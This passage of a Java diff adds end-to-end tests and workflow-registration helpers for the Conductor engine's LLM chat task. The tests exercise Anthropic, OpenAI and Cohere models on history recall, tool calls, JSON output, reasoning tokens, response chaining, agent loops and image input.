LLM_CHAT_COMPLETE × Opus 4.7 × + // thinkingTokenLimit. Pre-fix iteration 1 hits HTTP 400 and the workflow lands in + // FAILED; post-fix both iterations COMPLETE and the workflow reaches COMPLETED. + String wfName = "ai_e2e_anthropic_opus_thinking_loop"; + registerLoopWorkflow(wfName, 2); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", "anthropic", + "model", ANTHROPIC_OPUS_THINKING_MODEL, + "thinkingTokenLimit", 4000, + "instructions", "You are a helpful math assistant. Be concise.", + "userInput", "What is 2 + 2? Reply with just the number."), + 120); + + List chatTasks = chatTasks(wf); + assertEquals( + 2, + chatTasks.size(), + "expected one LLM_CHAT_COMPLETE per loop iteration (×2); saw: " + chatTasks); + for (Task t : chatTasks) { + assertEquals( + Task.Status.COMPLETED, + t.getStatus(), + "iteration " + + t.getIteration() + + " must complete; reason: " + + t.getReasonForIncompletion()); + assertTrue( + String.valueOf(t.getOutputData().get("result")).contains("4"), + "iteration " + + t.getIteration() + + " must reach the model's answer '4'; got: " + + t.getOutputData().get("result")); + } + } + + // ==================================================================== + // Anthropic — multi-turn history via ``messages`` array + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "ANTHROPIC_API_KEY", matches = ".+") + public void anthropic_haiku_multiTurnHistory_recallsPriorTurn() { + // Verifies the mapper passes an explicit ``messages`` array (system + user + + // assistant + user) through to the provider untouched, so the model can answer + // questions about earlier turns. A failure here typically means either the + // mapper dropped the history, or the provider adapter mangled the role mapping. + String wfName = "ai_e2e_anthropic_haiku_history"; + registerHistoryWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of("llmProvider", "anthropic", "model", ANTHROPIC_HAIKU_MODEL), + 60); + + Object result = wf.getTasks().getFirst().getOutputData().get("result"); + assertNotNull(result); + assertTrue( + result.toString().toLowerCase().contains("conductor"), + "model must recall the name 'Conductor' from the prior assistant turn; got: " + + result); + } + + // ==================================================================== + // Anthropic — function tool calling (model returns tool_use, not result) + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "ANTHROPIC_API_KEY", matches = ".+") + public void anthropic_haiku_functionTool_returnsToolCall() { + // The mapper must surface ``tools`` from the input parameters and the adapter + // must convert each ToolSpec into a custom Anthropic tool. The model's chosen + // tool_use response then has to round-trip back through the worker into + // ``toolCalls`` on the task output. + String wfName = "ai_e2e_anthropic_haiku_tools"; + registerSingleTaskWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", "anthropic", + "model", ANTHROPIC_HAIKU_MODEL, + "instructions", "Use tools to answer the user's question.", + "userInput", "What is the weather in Tokyo?", + "tools", List.of(weatherTool())), + 60); + + Task chat = wf.getTasks().getFirst(); + @SuppressWarnings("unchecked") + List> toolCalls = + (List>) chat.getOutputData().get("toolCalls"); + assertNotNull(toolCalls, "expected toolCalls on the task output"); + assertFalse(toolCalls.isEmpty(), "expected at least one tool call"); + Map first = toolCalls.getFirst(); + assertEquals("get_weather", first.get("name")); + // Conductor's ToolCall record exposes parsed args under ``inputParameters`` — the + // adapter has already JSON-decoded whatever the provider returned, so this is a + // Map on the task output. Fall back to alternate keys if the + // serialization shape ever shifts under us. + Object args = + first.getOrDefault( + "inputParameters", first.getOrDefault("arguments", first.get("input"))); + assertNotNull(args, "expected parsed tool arguments on task output; got: " + first); + String argsText = args.toString(); + assertTrue( + argsText.toLowerCase().contains("tokyo"), + "expected 'tokyo' in tool arguments; got: " + argsText); + } + + // ==================================================================== + // OpenAI — general-purpose non-reasoning chat (gpt-4.1-mini) + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "OPENAI_API_KEY", matches = ".+") + public void openai_chat_singleChat_completes() { + String wfName = "ai_e2e_openai_chat_single"; + registerSingleTaskWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", "openai", + "model", OPENAI_CHAT_MODEL, + "instructions", "You are a helpful math assistant. Be concise.", + "userInput", "What is 2 + 2? Reply with just the number."), + 60); + assertChatCompletedWithAnswer(wf, "4"); + } + + @Test + @EnabledIfEnvironmentVariable(named = "OPENAI_API_KEY", matches = ".+") + public void openai_chat_jsonOutput_returnsJson() { + // Locks in the ``jsonOutput=true`` path on a non-thinking OpenAI model. + // The prompt must mention JSON for the model to honor response_format. + String wfName = "ai_e2e_openai_chat_json"; + registerSingleTaskWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", "openai", + "model", OPENAI_CHAT_MODEL, + "jsonOutput", true, + "instructions", + "Return a JSON object with keys 'name' and 'value'. JSON only.", + "userInput", + "Reply with name='test' and value=42 as a JSON object."), + 60); + + Object result = wf.getTasks().getFirst().getOutputData().get("result"); + assertNotNull(result); + String text = result.toString(); + assertTrue(text.contains("42"), "expected value 42 in JSON; got: " + text); + assertTrue(text.contains("name"), "expected key 'name' in JSON; got: " + text); + } + + @Test + @EnabledIfEnvironmentVariable(named = "OPENAI_API_KEY", matches = ".+") + public void openai_chat_multiTurnHistory_recallsPriorTurn() { + String wfName = "ai_e2e_openai_chat_history"; + registerHistoryWorkflow(wfName); + + Workflow wf = + runAndWait(wfName, Map.of("llmProvider", "openai", "model", OPENAI_CHAT_MODEL), 60); + + Object result = wf.getTasks().getFirst().getOutputData().get("result"); + assertNotNull(result); + assertTrue( + result.toString().toLowerCase().contains("conductor"), + "model must recall the name 'Conductor' from the prior assistant turn; got: " + + result); + } + + @Test + @EnabledIfEnvironmentVariable(named = "OPENAI_API_KEY", matches = ".+") + public void openai_chat_functionTool_returnsToolCall() { + String wfName = "ai_e2e_openai_chat_tools"; + registerSingleTaskWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", "openai", + "model", OPENAI_CHAT_MODEL, + "instructions", "Use tools to answer the user's question.", + "userInput", "What is the weather in Tokyo?", + "tools", List.of(weatherTool())), + 60); + + Task chat = wf.getTasks().getFirst(); + @SuppressWarnings("unchecked") + List> toolCalls = + (List>) chat.getOutputData().get("toolCalls"); + assertNotNull(toolCalls, "expected toolCalls on the task output"); + assertFalse(toolCalls.isEmpty(), "expected at least one tool call"); + Map first = toolCalls.getFirst(); + assertEquals("get_weather", first.get("name")); + Object args = + first.getOrDefault( + "inputParameters", first.getOrDefault("arguments", first.get("input"))); + assertNotNull(args, "expected parsed tool arguments on task output; got: " + first); + String argsText = args.toString(); + assertTrue( + argsText.toLowerCase().contains("tokyo"), + "expected 'tokyo' in tool arguments; got: " + argsText); + } + + // ==================================================================== + // OpenAI — reasoning model (gpt-5-mini, Responses API) + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "OPENAI_API_KEY", matches = ".+") + public void openai_reasoning_singleChat_completesAndSurfacesReasoningTokens() { + // OpenAI reasoning models go through the Responses API path that nests effort + // under ``reasoning.effort``. The adapter must forward both reasoningEffort + // and reasoningSummary; the worker must surface ``reasoningTokens`` (and, when + // the model emits a summary, ``reasoning``) onto the task output. + String wfName = "ai_e2e_openai_reasoning_single"; + registerSingleTaskWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", "openai", + "model", OPENAI_REASONING_MODEL, + "reasoningEffort", "medium", + "reasoningSummary", "auto", + "instructions", "Solve carefully and show your reasoning.", + "userInput", + "If a train leaves at 3pm and travels 60mph for 2.5 hours," + + " how far has it gone? Reply with just the number" + + " of miles."), + 120); + + Task chat = wf.getTasks().getFirst(); + Object result = chat.getOutputData().get("result"); + assertNotNull(result); + assertTrue( + result.toString().contains("150"), + "expected the reasoning model to reach 150 miles; got: " + result); + // ``reasoningTokens`` is the part the AI module is responsible for plumbing; + // its presence proves the reasoning request shape reached OpenAI intact (a + // value of 0 is the model's prerogative, but the key must exist). + Object reasoningTokens = chat.getOutputData().get("reasoningTokens"); + assertNotNull( + reasoningTokens, + "expected reasoningTokens on a " + + OPENAI_REASONING_MODEL + + " response — request shape must be carrying the reasoning block"); + } + + // ==================================================================== + // OpenAI — response chaining via previousResponseId (Responses API) + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "OPENAI_API_KEY", matches = ".+") + public void openai_chat_previousResponseId_chainsAcrossTasks() { + // Two LLM_CHAT_COMPLETE tasks in one workflow. Task 1 establishes context ("My + // name is Conductor"); task 2 references task 1's responseId and asks a follow-up. + // No ``messages`` array is sent on task 2 — the only way the model can answer + // correctly is if the OpenAI Responses-API server-side store recalls turn 1 from + // its ``previousResponseId``. This proves the full chain: + // + // task 1 output.responseId → ${task1.output.responseId} parameter binding + // → ChatCompletion.previousResponseId → OpenAIResponsesChatOptions + // → Responses API ``previous_response_id`` → server-side context recall. + // + // Mapper-side unit coverage lives in AIModelTaskMapperPreviousResponseIdTest; + // this asserts the same chain works end-to-end against the live API. + String wfName = "ai_e2e_openai_chat_prev_response_id_chain"; + registerChainedWorkflow(wfName); + + Workflow wf = + runAndWait(wfName, Map.of("llmProvider", "openai", "model", OPENAI_CHAT_MODEL), 90); + + // The workflow holds two LLM_CHAT_COMPLETE tasks. Task 1 must surface a non-blank + // responseId — without it, task 2 has nothing to chain to and the test below would + // be vacuously green. + List chatTasks = chatTasks(wf); + assertEquals( + 2, + chatTasks.size(), + "expected two LLM_CHAT_COMPLETE tasks (turn 1 + turn 2); saw: " + chatTasks); + + Task turn1 = chatTasks.get(0); + Task turn2 = chatTasks.get(1); + + Object turn1ResponseId = turn1.getOutputData().get("responseId"); + assertNotNull( + turn1ResponseId, + "turn 1 must emit a ``responseId`` for chaining; if absent, the OpenAI" + + " Responses API path didn't populate it"); + assertFalse( + turn1ResponseId.toString().isBlank(), "turn 1 ``responseId`` must not be blank"); + + // The actual proof: task 2 recalls the name from turn 1's context. Turn 2's only + // input is the bare question ``What is my name?``; no history is sent locally. + Object turn2Result = turn2.getOutputData().get("result"); + assertNotNull(turn2Result); + assertTrue( + turn2Result.toString().toLowerCase().contains("conductor"), + "turn 2 must recall the name 'Conductor' from the server-side context" + + " keyed by previousResponseId; got: " + + turn2Result); + + // Sanity: turn 2 should also have its own responseId so a longer chain is + // possible (turn 3 → turn 2's id, etc.). Tested at the unit layer too, but + // surfacing here as well is cheap. + Object turn2ResponseId = turn2.getOutputData().get("responseId"); + assertNotNull(turn2ResponseId, "turn 2 must also emit a ``responseId``"); + } + + // ==================================================================== + // OpenAI — previousResponseId chained across DO_WHILE iterations + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "OPENAI_API_KEY", matches = ".+") + public void openai_chat_previousResponseId_chain_inDoWhileLoop_recallsAcrossIterations() { + // Variant of openai_chat_previousResponseId_chainsAcrossTasks that lives *inside* + // a DO_WHILE. The loop body has two tasks per iteration: + // + // 1. chat (LLM_CHAT_COMPLETE) — previousResponseId=${workflow.variables.lastResponseId} + // 2. update_state (SET_VARIABLE) — lastResponseId=${chat.output.responseId} + // + // Iteration N's chat resumes from iteration N-1's server-side context via the + // workflow-variable thread (the variable is reset between iterations by the + // sibling set_variable task). Auto loop-history injection is irrelevant here — + // no ``messages`` array is sent on any iteration; the model only "remembers" + // because the Responses-API server-side context store is being keyed by the + // chained responseId. + // + // Iteration script: + // iter 1: "Remember the number 42." (no chain — bootstraps a new server context) + // iter 2: "Remember the color blue." (chains from iter 1) + // iter 3: "What number and color did I tell you?" (chains from iter 2) + // + // The final iteration's result must mention both ``42`` and ``blue`` — proof + // that the chained context survived two hops through the workflow-variable + // thread + the OpenAI server-side store. + String wfName = "ai_e2e_openai_chat_prev_response_id_loop"; + registerChainedLoopWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", "openai", + "model", OPENAI_CHAT_MODEL, + "prompts", CHAINED_LOOP_PROMPTS), + 180); + + List chatTasks = chatTasks(wf); + assertEquals( + 3, + chatTasks.size(), + "expected three LLM_CHAT_COMPLETE tasks (one per iteration); saw: " + + chatTasks.size()); + + // Every iteration must surface its own responseId. If any are blank the + // chain breaks downstream. + for (Task t : chatTasks) { + Object rid = t.getOutputData().get("responseId"); + assertNotNull( + rid, "iteration " + t.getIteration() + " must emit a ``responseId``; got null"); + assertFalse( + rid.toString().isBlank(), + "iteration " + t.getIteration() + " ``responseId`` must not be blank"); + } + + // Iterations 2+ must have received the prior iteration's responseId on their + // own previousResponseId input. Iteration 1 is the bootstrap and is allowed to + // be unchained (empty string is fine). + for (int i = 1; i < chatTasks.size(); i++) { + Task prior = chatTasks.get(i - 1); + Task current = chatTasks.get(i); + String priorResponseId = String.valueOf(prior.getOutputData().get("responseId")); + Object currentPrev = current.getInputData().get("previousResponseId"); + assertEquals( + priorResponseId, + String.valueOf(currentPrev), + "iteration " + + current.getIteration() + + " previousResponseId must equal iteration " + + prior.getIteration() + + "'s responseId; saw " + + currentPrev); + } + + // The headline assertion: iteration 3's answer must include both prior facts. + Task finalTurn = chatTasks.get(chatTasks.size() - 1); + String finalText = String.valueOf(finalTurn.getOutputData().get("result")).toLowerCase(); + assertTrue( + finalText.contains("42"), + "iteration 3 must recall the number 42 from iter 1's context; got: " + finalText); + assertTrue( + finalText.contains("blue"), + "iteration 3 must recall the color blue from iter 2's context; got: " + finalText); + } + + // ==================================================================== + // Anthropic — Opus 4.7 + thinking in an agentic DO_WHILE + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "ANTHROPIC_API_KEY", matches = ".+") + public void anthropic_opus_thinking_agentLoop_threadsWorkingStateAcrossIterations() { + // "Agent" pattern on top of Opus 4.7 + thinking. Anthropic providers declare + // supportsAssistantPrefill=false, so Conductor's auto loop-history injection + // is suppressed — each iteration's chat would otherwise see *only* its own + // messages and lose any context from prior iterations. + // + // To work around that, the loop body manually threads agent state through a + // workflow variable: + // + // 1. chat (LLM_CHAT_COMPLETE, Opus 4.7 + thinking, instructions reference + // ${workflow.variables.workingState}) + // 2. update_state (SET_VARIABLE) — workingState=${chat.output.result} + // + // The agent is given a multi-step calculation and asked to do ONE step per + // iteration, returning the running total. With workingState carrying the + // prior iteration's result forward, iteration 2 can pick up where iteration 1 + // left off — proving the agent loop pattern works end-to-end with thinking + // enabled on an adaptive-only model. + // + // Problem: compute (3 + 4) × 2. + // iter 1: 3 + 4 = 7 → workingState="7" + // iter 2: 7 × 2 = 14 → workingState="14" + String wfName = "ai_e2e_anthropic_opus_thinking_agent_loop"; + registerAgentLoopWorkflow(wfName, 2); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", + "anthropic", + "model", + ANTHROPIC_OPUS_THINKING_MODEL, + "thinkingTokenLimit", + 4000), + 180); + + List chatTasks = chatTasks(wf); + assertEquals( + 2, + chatTasks.size(), + "expected two LLM_CHAT_COMPLETE tasks (one per iteration); saw: " + + chatTasks.size()); + for (Task t : chatTasks) { + assertEquals( + Task.Status.COMPLETED, + t.getStatus(), + "iteration " + + t.getIteration() + + " must complete; reason: " + + t.getReasonForIncompletion()); + } + + // Iteration 2 must have received iteration 1's result on its workingState + // input — this is the thread that makes the agent "remember" without + // relying on assistant-prefill auto-injection. + Task iter1 = chatTasks.get(0); + Task iter2 = chatTasks.get(1); + String iter1Result = String.valueOf(iter1.getOutputData().get("result")); + Object iter2WorkingState = iter2.getInputData().get("workingState"); + assertEquals( + iter1Result, + String.valueOf(iter2WorkingState), + "iteration 2's ``workingState`` must equal iteration 1's chat result —" + + " that's the agent state hand-off the test is asserting on"); + + // The headline: iteration 2's reply must reach the multi-step answer 14. + // Models do drift on phrasing; we don't pin "= 14" exactly, only that the + // number appears. + String iter2Result = String.valueOf(iter2.getOutputData().get("result")); + assertTrue( + iter2Result.contains("14"), + "iteration 2 must reach the multi-step answer 14 by acting on iter 1's" + + " workingState; got: " + + iter2Result); + } + + // ==================================================================== + // Anthropic — vision (image media input; regression for the #1238 media fix) + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "ANTHROPIC_API_KEY", matches = ".+") + public void anthropic_haiku_vision_imageMediaInMessages_modelSeesTheImage() { + // Regression lock for the Anthropic media fix (PR #1238, merged): pre-fix the + // adapter dropped ``media`` from user messages, so the model never saw the + // image. The server downloads the URL and the adapter must forward the bytes + // as an Anthropic image content block. The embedded token is unguessable, so + // a correct transcription can only come from the image (see the counterfactual + // test below for the negative control). + String wfName = "ai_e2e_anthropic_vision_media"; + registerMessagesWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", + "anthropic", + "model", + ANTHROPIC_HAIKU_MODEL, + "messages", + transcribeMessages(true)), + 90); + + assertTranscribed(wf, true); + } + + @Test + @EnabledIfEnvironmentVariable(named = "ANTHROPIC_API_KEY", matches = ".+") + public void anthropic_haiku_vision_withoutMedia_tokenIsAbsent() { + // Counterfactual for the positive case above: the same prompt with NO media + // must complete without ever producing the token — proving the token cannot + // leak from the prompt and a passing positive case is real image reading. + String wfName = "ai_e2e_anthropic_vision_media_counterfactual"; + registerMessagesWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", + "anthropic", + "model", + ANTHROPIC_HAIKU_MODEL, + "messages", + transcribeMessages(false)), + 90); + + assertTranscribed(wf, false); + } + + // ==================================================================== + // Cohere — vision model + image media input + // ==================================================================== + + @Test + @EnabledIfEnvironmentVariable(named = "COHERE_API_KEY", matches = ".+") + public void cohere_vision_imageMediaInMessages_modelSeesTheImage() { + // Regression lock for the Cohere media fix. Pre-fix, the adapter built the + // user message from text only and silently dropped ``media``, so the model + // never saw the image and the token was untranscribable. The server downloads + // the URL and the adapter must forward the bytes as a Cohere v2 ``image_url`` + // data-URI content part. + String wfName = "ai_e2e_cohere_vision_media"; + registerMessagesWorkflow(wfName); + + Workflow wf = + runAndWait( + wfName, + Map.of( + "llmProvider", + "cohere", + "model", + COHERE_VISION_MODEL, + "messages", + transcribeMessages(true)), + 90); + + assertTranscribed(wf, true); + } + + // ==================================================================== + // Workflow-def helpers + // ==================================================================== + + private void registerSingleTaskWorkflow(String name) { + ensureLLMChatCompleteTaskDef(); + WorkflowTask chat = passThroughChatTask("chat"); + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(1); + def.setOwnerEmail("ai-e2e@conductor.test"); + def.setTasks(List.of(chat)); + metadataClient.updateWorkflowDefs(List.of(def)); + } + + private void registerLoopWorkflow(String name, int iterations) { + ensureLLMChatCompleteTaskDef(); + WorkflowTask chat = passThroughChatTask("chat"); + + WorkflowTask loop = new WorkflowTask(); + loop.setName("loop"); + loop.setTaskReferenceName("loop"); + loop.setType(TaskType.DO_WHILE.name()); + loop.setLoopCondition( + "if ( $.loop['iteration'] < " + iterations + " ) { true; } else { false; }"); + loop.setLoopOver(List.of(chat)); + + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(1); + def.setOwnerEmail("ai-e2e@conductor.test"); + def.setTasks(List.of(loop)); + metadataClient.updateWorkflowDefs(List.of(def)); + } + + /** + * Workflow with a chat task whose {@code messages} input is wired to a fixed multi-turn + * conversation: system + user + assistant ("My name is Conductor") + user ("What's my name?"). + * The model must recall the name from the assistant turn, which is the wire-level proof that + * the history array survived the mapper round-trip. + */ + private void registerHistoryWorkflow(String name) { + ensureLLMChatCompleteTaskDef(); + + WorkflowTask chat = new WorkflowTask(); + chat.setName("LLM_CHAT_COMPLETE"); + chat.setTaskReferenceName("chat"); + chat.setType("LLM_CHAT_COMPLETE"); + + List> messages = new ArrayList<>(); + messages.add( + Map.of("role", "system", "message", "You are a helpful and concise assistant.")); + messages.add(Map.of("role", "user", "message", "My name is Conductor. Remember that.")); + messages.add( + Map.of( + "role", + "assistant", + "message", + "Got it — I'll remember your name is Conductor.")); + messages.add(Map.of("role", "user", "message", "What is my name?")); + + Map inputParameters = new HashMap<>(); + inputParameters.put("llmProvider", "${workflow.input.llmProvider}"); + inputParameters.put("model", "${workflow.input.model}"); + inputParameters.put("messages", messages); + chat.setInputParameters(inputParameters); + + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(1); + def.setOwnerEmail("ai-e2e@conductor.test"); + def.setTasks(List.of(chat)); + metadataClient.updateWorkflowDefs(List.of(def)); + } + + /** + * Per-iteration prompts used by the chained-DO_WHILE test. Iteration 1 + 2 plant facts, and + * iteration 3 asks the model to recall them. The list length (3) determines the loop count + * because the workflow uses Conductor's list-iteration mode ({@code WorkflowTask.setItems}). + */ + private static final List CHAINED_LOOP_PROMPTS = + List.of( + "Please remember the number 42. Just acknowledge.", + "Please remember the color blue. Just acknowledge.", + "What number and color did I tell you? Reply with both, no extra prose."); + + /** + * DO_WHILE that threads {@code previousResponseId} across iterations via a workflow variable. + * Loop body per iteration: + * + *

      + *
    1. {@code chat} — reads {@code previousResponseId=${workflow.variables.lastResponseId}} + * and {@code userInput=${loop.output.loopItem}} (the current prompt for this turn). + *
    2. {@code update_state} ({@code SET_VARIABLE}) — overwrites {@code lastResponseId} with + * {@code ${chat.output.responseId}} so the next iteration's chat picks it up. + *
    + * + *

    The DO_WHILE uses Conductor's list-iteration mode ({@code setItems}). The loop runs once + * per element in {@code ${workflow.input.prompts}}, and {@code DoWhile.injectLoopVariables} + * binds the current element to {@code loop.output.loopItem} on every iteration's scheduling + * pass — which is the clean way to vary the per-iteration prompt without arithmetic inside + * {@code ${...}} expressions. + * + *

    {@code lastResponseId} is pre-seeded to "" so iteration 1 sees an unchained start rather + * than an unresolved placeholder. + */ + private void registerChainedLoopWorkflow(String name) { + ensureLLMChatCompleteTaskDef(); + + // Pre-loop: seed workflow.variables.lastResponseId so iteration 1's chat sees an + // empty string (unchained start) rather than an unresolved ${...} placeholder. + WorkflowTask initVars = new WorkflowTask(); + initVars.setName("set_variable"); + initVars.setTaskReferenceName("init_vars"); + initVars.setWorkflowTaskType(TaskType.SET_VARIABLE); + initVars.setInputParameters(Map.of("lastResponseId", "")); + + WorkflowTask chat = new WorkflowTask(); + chat.setName("LLM_CHAT_COMPLETE"); + chat.setTaskReferenceName("chat"); + chat.setType("LLM_CHAT_COMPLETE"); + Map chatIn = new HashMap<>(); + chatIn.put("llmProvider", "${workflow.input.llmProvider}"); + chatIn.put("model", "${workflow.input.model}"); + chatIn.put( + "instructions", + "You are a careful note-taker. Reply concisely. Do not invent details that" + + " were not stated."); + // ``loop.output.loopItem`` is the current item from the items list — injected by + // DoWhile.injectLoopVariables on every iteration's scheduling pass. + chatIn.put("userInput", "${loop.output.loopItem}"); + chatIn.put("previousResponseId", "${workflow.variables.lastResponseId}"); + chat.setInputParameters(chatIn); + + WorkflowTask updateState = new WorkflowTask(); + updateState.setName("set_variable"); + updateState.setTaskReferenceName("update_state"); + updateState.setWorkflowTaskType(TaskType.SET_VARIABLE); + updateState.setInputParameters(Map.of("lastResponseId", "${chat.output.responseId}")); + + WorkflowTask loop = new WorkflowTask(); + loop.setName("loop"); + loop.setTaskReferenceName("loop"); + loop.setType(TaskType.DO_WHILE.name()); + // List iteration via the Orkes-compatible ``_items`` inputParameter — the same + // ``DoWhile.isListIteration`` accepts either ``setItems(...)`` (newer OSS API) or + // ``inputParameters._items`` (legacy). We go through the latter because the e2e + // module depends on the published ``conductor-client:5.0.1`` JAR, which predates + // ``WorkflowTask.setItems``. The server resolves this at scheduling time. + loop.setInputParameters(Map.of("_items", "${workflow.input.prompts}")); + // The workflow-def validator requires a non-blank loopCondition on every DO_WHILE. + // List-iteration termination logic combines this with ``hasMoreItems`` (see + // ``DoWhile.evaluateCondition`` under ``isListIteration``) — a permissive ``true`` + // here defers all stopping to the items list being consumed. + loop.setLoopCondition("true"); + loop.setLoopOver(List.of(chat, updateState)); + + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(1); + def.setOwnerEmail("ai-e2e@conductor.test"); + def.setTasks(List.of(initVars, loop)); + metadataClient.updateWorkflowDefs(List.of(def)); + } + + /** + * Agentic DO_WHILE that hands a piece of "working state" forward across iterations using a + * sibling {@code SET_VARIABLE} task. Each iteration: + * + *

      + *
    1. {@code chat} — Opus 4.7 + thinking. The {@code instructions} field embeds {@code + * ${workflow.variables.workingState}} so the model can see what the prior turn produced. + *
    2. {@code update_state} ({@code SET_VARIABLE}) — overwrites {@code workingState} with + * {@code ${chat.output.result}}. + *
    + * + *

    This is the manual-threading pattern documented in {@code AIReasoningEndToEndTest}'s + * loop-history javadoc: providers that reject assistant prefill (Anthropic 4.6+) must receive + * prior-iteration context through user-message templating, not via auto-injection. + */ + private void registerAgentLoopWorkflow(String name, int iterations) { + ensureLLMChatCompleteTaskDef(); + + WorkflowTask initVars = new WorkflowTask(); + initVars.setName("set_variable"); + initVars.setTaskReferenceName("init_vars"); + initVars.setWorkflowTaskType(TaskType.SET_VARIABLE); + initVars.setInputParameters(Map.of("workingState", "")); + + WorkflowTask chat = new WorkflowTask(); + chat.setName("LLM_CHAT_COMPLETE"); + chat.setTaskReferenceName("chat"); + chat.setType("LLM_CHAT_COMPLETE"); + Map chatIn = new HashMap<>(); + chatIn.put("llmProvider", "${workflow.input.llmProvider}"); + chatIn.put("model", "${workflow.input.model}"); + chatIn.put("thinkingTokenLimit", "${workflow.input.thinkingTokenLimit}"); + chatIn.put( + "instructions", + "You are a step-by-step math agent. You will be asked to do ONE step of a" + + " calculation each turn. On the first turn ``workingState`` is empty;" + + " on later turns it carries the running total from the previous turn." + + " Reply with just the new running total — a single number, no prose."); + chatIn.put( + "userInput", + "Compute (3 + 4) * 2 step by step. On turn 1 evaluate ``3 + 4``. On turn 2," + + " take the running total in workingState and multiply by 2.\nworkingState:" + + " ${workflow.variables.workingState}"); + // Also surface workingState as a top-level input so the test can read it back + // out of the task input for hand-off assertions. + chatIn.put("workingState", "${workflow.variables.workingState}"); + chat.setInputParameters(chatIn); + + WorkflowTask updateState = new WorkflowTask(); + updateState.setName("set_variable"); + updateState.setTaskReferenceName("update_state"); + updateState.setWorkflowTaskType(TaskType.SET_VARIABLE); + updateState.setInputParameters(Map.of("workingState", "${chat.output.result}")); + + WorkflowTask loop = new WorkflowTask(); + loop.setName("loop"); + loop.setTaskReferenceName("loop"); + loop.setType(TaskType.DO_WHILE.name()); + loop.setLoopCondition( + "if ( $.loop['iteration'] < " + iterations + " ) { true; } else { false; }"); + loop.setLoopOver(List.of(chat, updateState)); + + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(1); + def.setOwnerEmail("ai-e2e@conductor.test"); + def.setTasks(List.of(initVars, loop)); + metadataClient.updateWorkflowDefs(List.of(def)); + } + + /** + * Two-task workflow that exercises OpenAI's Responses-API server-side context store. Task 1 + * establishes context ("My name is Conductor"); task 2 references {@code + * ${turn1.output.responseId}} via {@code previousResponseId} so OpenAI looks up turn 1 + * server-side rather than relying on a re-sent {@code messages} array. + * + *

    Both tasks pull {@code llmProvider} + {@code model} from {@code workflow.input}, so the + * same definition can be flipped to another OpenAI model without re-registering. + */ + private void registerChainedWorkflow(String name) { + ensureLLMChatCompleteTaskDef(); + + WorkflowTask turn1 = new WorkflowTask(); + turn1.setName("LLM_CHAT_COMPLETE"); + turn1.setTaskReferenceName("turn1"); + turn1.setType("LLM_CHAT_COMPLETE"); + Map turn1In = new HashMap<>(); + turn1In.put("llmProvider", "${workflow.input.llmProvider}"); + turn1In.put("model", "${workflow.input.model}"); + turn1In.put("instructions", "You are a helpful assistant. Keep replies very short."); + turn1In.put( + "userInput", + "Please remember the following for the rest of this conversation: my name is" + + " Conductor."); + turn1.setInputParameters(turn1In); + + WorkflowTask turn2 = new WorkflowTask(); + turn2.setName("LLM_CHAT_COMPLETE"); + turn2.setTaskReferenceName("turn2"); + turn2.setType("LLM_CHAT_COMPLETE"); + Map turn2In = new HashMap<>(); + turn2In.put("llmProvider", "${workflow.input.llmProvider}"); + turn2In.put("model", "${workflow.input.model}"); + turn2In.put("instructions", "You are a helpful assistant. Keep replies very short."); + // No local history. The follow-up question only resolves if the server-side + // Responses-API context store recalls turn 1 via previousResponseId. + turn2In.put("userInput", "What is my name?"); + turn2In.put("previousResponseId", "${turn1.output.responseId}"); + turn2.setInputParameters(turn2In); + + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(1); + def.setOwnerEmail("ai-e2e@conductor.test"); + def.setTasks(List.of(turn1, turn2)); + metadataClient.updateWorkflowDefs(List.of(def)); + } + + /** + * Chat task that pulls every field from {@code workflow.input.*}. This lets each test reuse the + * same registration helper and vary inputs purely by what the {@link StartWorkflowRequest} + * carries — including optional ones like {@code thinkingTokenLimit}, {@code reasoningEffort}, + * {@code reasoningSummary}, {@code jsonOutput}, and {@code tools}. Conductor's parameter + * binding leaves unresolved ${...} placeholders as null/false/empty when the input field is + * absent, so the inputs schema stays additive instead of combinatorial. + */ + private WorkflowTask passThroughChatTask(String refName) { + WorkflowTask chat = new WorkflowTask(); + chat.setName("LLM_CHAT_COMPLETE"); + chat.setTaskReferenceName(refName); + chat.setType("LLM_CHAT_COMPLETE"); + + Map in = new HashMap<>(); + in.put("llmProvider", "${workflow.input.llmProvider}"); + in.put("model", "${workflow.input.model}"); + in.put("instructions", "${workflow.input.instructions}"); + in.put("userInput", "${workflow.input.userInput}"); + in.put("thinkingTokenLimit", "${workflow.input.thinkingTokenLimit}"); + in.put("reasoningEffort", "${workflow.input.reasoningEffort}"); + in.put("reasoningSummary", "${workflow.input.reasoningSummary}"); + in.put("jsonOutput", "${workflow.input.jsonOutput}"); + in.put("tools", "${workflow.input.tools}"); + chat.setInputParameters(in); + return chat; + } + + private void ensureLLMChatCompleteTaskDef() { + TaskDef def = new TaskDef(); + def.setName("LLM_CHAT_COMPLETE"); + def.setRetryCount(0); + def.setTimeoutSeconds(180); + def.setOwnerEmail("ai-e2e@conductor.test"); + try { + metadataClient.registerTaskDefs(List.of(def)); + } catch (Exception ignore) { + // already registered from a prior run / parallel fork + } + } + + // ==================================================================== + // 